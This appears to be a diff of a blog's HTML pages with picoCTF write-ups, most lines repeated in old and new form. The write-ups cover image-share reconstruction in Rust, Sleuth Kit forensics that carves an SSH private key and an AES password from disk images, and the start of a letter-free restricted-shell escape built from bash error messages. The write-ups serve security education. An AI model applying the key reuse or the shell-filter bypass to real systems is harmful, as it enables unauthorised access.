</span></span></code></pre></div><p>Next, we&rsquo;ll create an image buffer for reconstructing the composite image.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> imgbuf: <span style=color:#a6e22e>RgbaImage</span> <span style=color:#f92672>=</span> ImageBuffer::new(a.width(), a.height());
</span></span></code></pre></div><p>Looping over the pixels in the shares,</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>for</span> ((x, y, p), (_, _, q)) <span style=color:#66d9ef>in</span> a.pixels().zip(b.pixels()) {
</span></span></code></pre></div><p>Next, we&rsquo;ll create an image buffer for reconstructing the composite image.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> imgbuf: <span style=color:#a6e22e>RgbaImage</span> <span style=color:#f92672>=</span> ImageBuffer::new(a.width(), a.height());
</span></span></code></pre></div><p>Looping over the pixels in the shares,</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>for</span> ((x, y, p), (_, _, q)) <span style=color:#66d9ef>in</span> a.pixels().zip(b.pixels()) {
</span></span><span style=display:flex><span> <span style=color:#75715e>// next 2 code blocks go here ...
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>we sum the values in each channel &mldr;</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> pixel <span style=color:#f92672>=</span> p.channels()
</span></span></code></pre></div><p>we sum the values in each channel &mldr;</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> pixel <span style=color:#f92672>=</span> p.channels()
</span></span><span style=display:flex><span> .iter()
</span></span><span style=display:flex><span> .zip(q.channels().iter())
</span></span><span style=display:flex><span> .map(<span style=color:#f92672>|</span>(c0, c1)<span style=color:#f92672>|</span> c0.checked_add(<span style=color:#f92672>*</span>c1).unwrap_or(<span style=color:#f92672>*</span>c0))
</span></span><span style=display:flex><span> .collect::<span style=color:#f92672>&lt;</span>Vec<span style=color:#f92672>&lt;</span><span style=color:#66d9ef>u8</span><span style=color:#f92672>&gt;&gt;</span>();
</span></span></code></pre></div><p>&mldr; and place the new pixel into the image buffer.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span>imgbuf.put_pixel(x, y, <span style=color:#f92672>*</span>Pixel::from_slice(<span style=color:#f92672>&amp;</span>pixel));
</span></span></code></pre></div><p>Finally, we save the image buffer into &ldquo;flag.png&rdquo;.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span>imgbuf.save(<span style=color:#e6db74>&#34;flag.png&#34;</span>).unwrap();
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>main</span>() {
</span></span></code></pre></div><p>&mldr; and place the new pixel into the image buffer.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span>imgbuf.put_pixel(x, y, <span style=color:#f92672>*</span>Pixel::from_slice(<span style=color:#f92672>&amp;</span>pixel));
</span></span></code></pre></div><p>Finally, we save the image buffer into &ldquo;flag.png&rdquo;.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span>imgbuf.save(<span style=color:#e6db74>&#34;flag.png&#34;</span>).unwrap();
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>main</span>() {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> a <span style=color:#f92672>=</span> image::open(<span style=color:#e6db74>&#34;scrambled1.png&#34;</span>).unwrap();
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> b <span style=color:#f92672>=</span> image::open(<span style=color:#e6db74>&#34;scrambled2.png&#34;</span>).unwrap();
</span></span><span style=display:flex><span>
@@ -60,7 +60,7 @@ in variables <code>a</code> and <code>b</code>.</p><div class=highlight><pre tab
</span></span><span style=display:flex><span> imgbuf.save(<span style=color:#e6db74>&#34;flag.png&#34;</span>).unwrap();
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><div class=container></div></div><p>After saving this file, we place the images in the current directory. Let&rsquo;s
compile and run the program.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cargo run
compile and run the program.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cargo run
</span></span></code></pre></div><p>Viewing &ldquo;flag.png&rdquo; shows us the flag in pixelated text.</p><p><img src=../../picoctf-cryptography-challenge-pixelated.png alt=flag.png></p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/image-reconstruction class=list-tag>Image Reconstruction</a>

View File

@@ -10,11 +10,11 @@ We are provided with a compressed disk image disk.img.gz which we&rsquo;ll decom
from the PicoCTF competition held in March 2022. Both of these challenges involve
the use of tools from The Sleuth Kit suite. In order to follow along, I&rsquo;d recommend
installing the suite of tools.</p><h1 id=operation-oni>Operation Oni</h1><p>The challenge has an associated instance which we&rsquo;ll need to log into using SSH using
the following command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>ssh -i key_file -p <span style=color:#ae81ff>61948</span> ctf-player@saturn.picoctf.net
</span></span></code></pre></div><p>We are provided with a compressed disk image <code>disk.img.gz</code> which we&rsquo;ll decompress with:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>gunzip disk.img.gz
the following command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>ssh -i key_file -p <span style=color:#ae81ff>61948</span> ctf-player@saturn.picoctf.net
</span></span></code></pre></div><p>We are provided with a compressed disk image <code>disk.img.gz</code> which we&rsquo;ll decompress with:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>gunzip disk.img.gz
</span></span></code></pre></div><p>To list the partition table for the given disk image, we will use the <code>mmls</code> command.
If <code>mmls</code> is unable to properly determine the filesystem of a given volume, we can
specify it using the <code>-t</code> flag.</p><p>Let&rsquo;s run <code>mmls</code> on the disk image by itself.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>mmls disk.img
specify it using the <code>-t</code> flag.</p><p>Let&rsquo;s run <code>mmls</code> on the disk image by itself.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>mmls disk.img
</span></span></code></pre></div><pre tabindex=0><code class=language-none data-lang=none>DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
@@ -25,7 +25,7 @@ Units are in 512-byte sectors
002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)
003: 000:001 0000206848 0000471039 0000264192 Linux (0x83)
</code></pre><p>We can see two linux partitions, one starting at offset <code>2048</code> and another at <code>206848</code></p><p>In order to list the files in a given volume, we can use the <code>fls</code> command. For this,
we will need to specify the offset of the volume using the <code>-o</code> flag.</p><p>Let&rsquo;s take a look at the first partition at offset <code>2048</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>2048</span> disk.img
we will need to specify the offset of the volume using the <code>-o</code> flag.</p><p>Let&rsquo;s take a look at the first partition at offset <code>2048</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>2048</span> disk.img
</span></span></code></pre></div><pre tabindex=0><code class=language-none data-lang=none>d/d 11: lost+found
r/r 12: ldlinux.sys
r/r 13: ldlinux.c32
@@ -42,7 +42,7 @@ r/r 14: System.map-virt
r/r 24: vesamenu.c32
V/V 25585: $OrphanFiles
</code></pre><p>This looks like the boot partition of a linux installation.
Let&rsquo;s move on to the next partition at offset <code>206848</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>206848</span> disk.img
Let&rsquo;s move on to the next partition at offset <code>206848</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>206848</span> disk.img
</span></span></code></pre></div><pre tabindex=0><code class=language-none data-lang=none>d/d 458: home
d/d 11: lost+found
d/d 12: boot
@@ -66,28 +66,28 @@ V/V 33049: $OrphanFiles
</code></pre><p>This looks like the standard linux filesystem hierarchy where we can see the <code>/home</code> and <code>/root</code> directories.
Let&rsquo;s investigate the <code>/root</code> directory. To do so, we will append the inode number associated with the
directory as an argument to <code>fls</code>.</p><p>The inode number of <code>/root</code> is <code>470</code> here.</p><pre tabindex=0><code>d/d 470: root
</code></pre><p>We&rsquo;ll run the previous command with the inode number.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>206848</span> disk.img <span style=color:#ae81ff>470</span>
</code></pre><p>We&rsquo;ll run the previous command with the inode number.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>206848</span> disk.img <span style=color:#ae81ff>470</span>
</span></span></code></pre></div><pre tabindex=0><code class=language-none data-lang=none>r/r 2344: .ash_history
d/d 3916: .ssh
</code></pre><p>Here, we can see the <code>.ssh</code> directory and the root user&rsquo;s shell history file. We&rsquo;ll try listing
the <code>.ssh</code> directory. Again, we&rsquo;ll supply the associated inode number, here, <code>3916</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>206848</span> disk.img <span style=color:#ae81ff>3916</span>
the <code>.ssh</code> directory. Again, we&rsquo;ll supply the associated inode number, here, <code>3916</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>206848</span> disk.img <span style=color:#ae81ff>3916</span>
</span></span></code></pre></div><pre tabindex=0><code>r/r 2345: id_ed25519
r/r 2346: id_ed25519.pub
</code></pre><p>Here, we can see a pair of SSH private and public keys. The one ending in <code>.pub</code> being the public key.
Private keys are often used as an alternative to password authentication to SSH into a machine.
We&rsquo;ll dump the content of this file using the <code>icat</code> command. For using this command, we&rsquo;ll need
to specify the offset of the volume and the inode number of the file, <code>2345</code> here.</p><p>We&rsquo;ll redirect the output of the command into a file called <code>key_file</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>icat -o <span style=color:#ae81ff>206848</span> disk.img <span style=color:#ae81ff>2345</span> &gt; key_file
to specify the offset of the volume and the inode number of the file, <code>2345</code> here.</p><p>We&rsquo;ll redirect the output of the command into a file called <code>key_file</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>icat -o <span style=color:#ae81ff>206848</span> disk.img <span style=color:#ae81ff>2345</span> &gt; key_file
</span></span></code></pre></div><p>We can try using the private key to authenticate since this key is not password protected.
Before running the SSH command, we must set the permissions on the file to read / write only
by us.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>chmod <span style=color:#ae81ff>600</span> key_file
</span></span></code></pre></div><p>Let&rsquo;s use the command that was provided with the challenge.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>ssh -i key_file -p <span style=color:#ae81ff>61948</span> ctf-player@saturn.picoctf.net
by us.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>chmod <span style=color:#ae81ff>600</span> key_file
</span></span></code></pre></div><p>Let&rsquo;s use the command that was provided with the challenge.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>ssh -i key_file -p <span style=color:#ae81ff>61948</span> ctf-player@saturn.picoctf.net
</span></span></code></pre></div><p>We get a successful login as the user <code>ctf-player</code>. Let&rsquo;s list the files in our
home directory.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>ctf-player@challenge:~$ ls
home directory.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>ctf-player@challenge:~$ ls
</span></span></code></pre></div><pre tabindex=0><code class=language-none data-lang=none>flag.txt
</code></pre><p>We&rsquo;ll view the contents of the <code>flag.txt</code> file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>ctf-player@challenge:~$ cat flag.txt
</code></pre><p>We&rsquo;ll view the contents of the <code>flag.txt</code> file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>ctf-player@challenge:~$ cat flag.txt
</span></span></code></pre></div><pre tabindex=0><code class=language-none data-lang=none>picoCTF{k3y_5l3u7h_af277f77}
</code></pre><h1 id=operation-orchid>Operation Orchid</h1><p>We are provided with a disk image <code>disk.flag.img.gz</code> which we&rsquo;ll decompress with:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>gunzip disk.flag.img.gz
</span></span></code></pre></div><p>Let&rsquo;s look at the partition table using <code>mmls</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>mmls disk.flag.img
</code></pre><h1 id=operation-orchid>Operation Orchid</h1><p>We are provided with a disk image <code>disk.flag.img.gz</code> which we&rsquo;ll decompress with:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>gunzip disk.flag.img.gz
</span></span></code></pre></div><p>Let&rsquo;s look at the partition table using <code>mmls</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>mmls disk.flag.img
</span></span></code></pre></div><pre tabindex=0><code class=language-none data-lang=none>DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
@@ -98,7 +98,7 @@ Units are in 512-byte sectors
002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)
003: 000:001 0000206848 0000411647 0000204800 Linux Swap / Solaris x86 (0x82)
004: 000:002 0000411648 0000819199 0000407552 Linux (0x83)
</code></pre><p>Listing the volume at offset <code>2048</code> using <code>fls</code>, we see a boot partition.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>2048</span> ./disk.flag.img
</code></pre><p>Listing the volume at offset <code>2048</code> using <code>fls</code>, we see a boot partition.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>2048</span> ./disk.flag.img
</span></span></code></pre></div><pre tabindex=0><code class=language-none data-lang=none>d/d 11: lost+found
r/r 12: ldlinux.sys
r/r 13: ldlinux.c32
@@ -114,7 +114,7 @@ r/r 23: menu.c32
r/r 14: System.map-virt
r/r 24: vesamenu.c32
V/V 25585: $OrphanFiles
</code></pre><p>We&rsquo;ll move on to the next Linux partition at offset <code>411648</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>411648</span> ./disk.flag.img
</code></pre><p>We&rsquo;ll move on to the next Linux partition at offset <code>411648</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>411648</span> ./disk.flag.img
</span></span></code></pre></div><pre tabindex=0><code class=language-none data-lang=none>d/d 460: home
d/d 11: lost+found
d/d 12: boot
@@ -137,16 +137,16 @@ d/d 476: sys
d/d 2041: swap
V/V 51001: $OrphanFiles
</code></pre><p>Let&rsquo;s try listing the home folder of the root user at <code>/root</code>.</p><pre tabindex=0><code class=language-none data-lang=none>d/d 472: root
</code></pre><p>We&rsquo;ll use its inode number, <code>472</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>411648</span> ./disk.flag.img <span style=color:#ae81ff>472</span>
</code></pre><p>We&rsquo;ll use its inode number, <code>472</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>fls -o <span style=color:#ae81ff>411648</span> ./disk.flag.img <span style=color:#ae81ff>472</span>
</span></span></code></pre></div><pre tabindex=0><code class=language-none data-lang=none>r/r 1875: .ash_history
r/r * 1876(realloc): flag.txt
r/r 1782: flag.txt.enc
</code></pre><p>We can dump the contents of the <code>flag.txt</code> file using <code>icat</code> like we did
previously.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>icat -o <span style=color:#ae81ff>411648</span> ./disk.flag.img <span style=color:#ae81ff>1876</span>
previously.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>icat -o <span style=color:#ae81ff>411648</span> ./disk.flag.img <span style=color:#ae81ff>1876</span>
</span></span></code></pre></div><pre tabindex=0><code class=language-none data-lang=none> -0.881573 34.311733
</code></pre><p>A set of coordinates? Latitudes and longitudes? Not very helpful.
Let&rsquo;s dump <code>flag.txt.enc</code> to a file we can work on later.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>icat -o <span style=color:#ae81ff>411648</span> ./disk.flag.img <span style=color:#ae81ff>1782</span> &gt; flag.txt.enc
</span></span></code></pre></div><p>Let&rsquo;s investigate the shell history to see what the root user was upto the last time.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>icat -o <span style=color:#ae81ff>411648</span> ./disk.flag.img <span style=color:#ae81ff>1875</span>
Let&rsquo;s dump <code>flag.txt.enc</code> to a file we can work on later.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>icat -o <span style=color:#ae81ff>411648</span> ./disk.flag.img <span style=color:#ae81ff>1782</span> &gt; flag.txt.enc
</span></span></code></pre></div><p>Let&rsquo;s investigate the shell history to see what the root user was upto the last time.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>icat -o <span style=color:#ae81ff>411648</span> ./disk.flag.img <span style=color:#ae81ff>1875</span>
</span></span></code></pre></div><pre tabindex=0><code class=language-none data-lang=none>touch flag.txt
nano flag.txt
apk get nano
@@ -160,7 +160,7 @@ ls -al
halt
</code></pre><p>Ah! So they encrypted the original <code>flag.txt</code> with AES256 using the <code>openssl</code> command.
We can see the key that was supplied to the command with the <code>-k</code> flag.</p><p>Now that we know the key, we can decrypt the <code>flag.txt.enc</code> file.</p><p>We&rsquo;ll use the <code>-d</code> flag for decryption, set the input file, the argument to the <code>-in</code> flag,
to <code>flag.txt.enc</code> and omit the <code>-out</code> flag so that it outputs to <code>stdout</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>openssl aes256 -d -salt -in flag.txt.enc -k unbreakablepassword1234567
to <code>flag.txt.enc</code> and omit the <code>-out</code> flag so that it outputs to <code>stdout</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>openssl aes256 -d -salt -in flag.txt.enc -k unbreakablepassword1234567
</span></span></code></pre></div><pre tabindex=0><code class=language-none data-lang=none>*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bad decrypt

View File

@@ -25,31 +25,31 @@ Last login: Sun Jan 5 06:15:52 2025 from 127.0.0.1
SansAlpha$
</code></pre><p>The moment we issue a command, however, we get an error saying an unknown character was detected.</p><pre tabindex=0><code>SansAlpha$ id
SansAlpha: Unknown character detected
</code></pre><p>However, numerals and symbols still work. So we can still perform basic arithmetic like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#66d9ef>$((</span><span style=color:#ae81ff>1</span><span style=color:#f92672>+</span><span style=color:#ae81ff>2</span><span style=color:#66d9ef>))</span>
</code></pre><p>However, numerals and symbols still work. So we can still perform basic arithmetic like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#66d9ef>$((</span><span style=color:#ae81ff>1</span><span style=color:#f92672>+</span><span style=color:#ae81ff>2</span><span style=color:#66d9ef>))</span>
</span></span></code></pre></div><pre tabindex=0><code>bash: 3: command not found
</code></pre><p>Now the description makes more sense, we are only allowed to use numbers and
symbols as the input. Alphabets are forbidden, hence the title, <em>sans alpha</em>.</p><p>The hint for the challenge says</p><blockquote><p>Where can you get some letters?</p></blockquote><p>We could get some letters perhaps by reading a file. To do that, we still need
to use some utility like <code>cat</code> and we need to supply a known filename.</p><p>Surprisingly enough, we can still trigger a division by zero error.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#66d9ef>$((</span><span style=color:#ae81ff>1</span><span style=color:#f92672>/</span><span style=color:#ae81ff>0</span><span style=color:#66d9ef>))</span>
to use some utility like <code>cat</code> and we need to supply a known filename.</p><p>Surprisingly enough, we can still trigger a division by zero error.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#66d9ef>$((</span><span style=color:#ae81ff>1</span><span style=color:#f92672>/</span><span style=color:#ae81ff>0</span><span style=color:#66d9ef>))</span>
</span></span></code></pre></div><pre tabindex=0><code>bash: 1/0: division by 0 (error token is &#34;0&#34;)
</code></pre><p>But of course, we can get some letters from the <em>errors!</em></p><p>Here&rsquo;s an outline of our plan:</p><ul><li>Perform a command substitution with the <code>$(somecommand)</code> notation inside a string</li><li>Ensure that the command substition returns an error</li><li>Use the letters or substrings from the error for the next payload</li></ul><p>We&rsquo;ll run the commands on a local machine first to make sure the outputs match our expectations.</p><p>Let&rsquo;s continue with the division by zero example. We want to perform this division inside
a subshell as a string substitution.</p><blockquote><p>Note: the syntax highlighter on my website is freaking out on this command.<br>The perfect bash highlighter doesn&rsquo;t exist.</p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>&#34;</span><span style=color:#66d9ef>$(</span> <span style=color:#f92672>((</span>1/0<span style=color:#66d9ef>)</span><span style=color:#e6db74>) )&#34;</span>
a subshell as a string substitution.</p><blockquote><p>Note: the syntax highlighter on my website is freaking out on this command.<br>The perfect bash highlighter doesn&rsquo;t exist.</p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>&#34;</span><span style=color:#66d9ef>$(</span> <span style=color:#f92672>((</span>1/0<span style=color:#66d9ef>)</span><span style=color:#e6db74>) )&#34;</span>
</span></span></code></pre></div><p>The inner two pairs of braces are performing the math. The outermost braces are
performing the command substitution. Thus, we are passing the arithmetic error
